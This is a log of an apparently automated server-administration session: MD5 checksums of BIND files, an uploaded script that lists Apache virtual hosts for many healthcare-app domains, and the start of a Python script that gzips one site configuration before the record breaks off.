MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:54:07: Establishing a connection
2026-03-14 11:54:07: 

PUT: /tmp/pkp990255

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-14 11:54:08: 

chmod 755 /tmp/pkp990255; /tmp/pkp990255; rm /tmp/pkp990255

2026-03-14 11:54:08: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
                 alias www.vela.work
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:20)
                 alias www.vela.work
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-14 11:54:08: 

PUT: /tmp/pkp830152

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vela_www_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
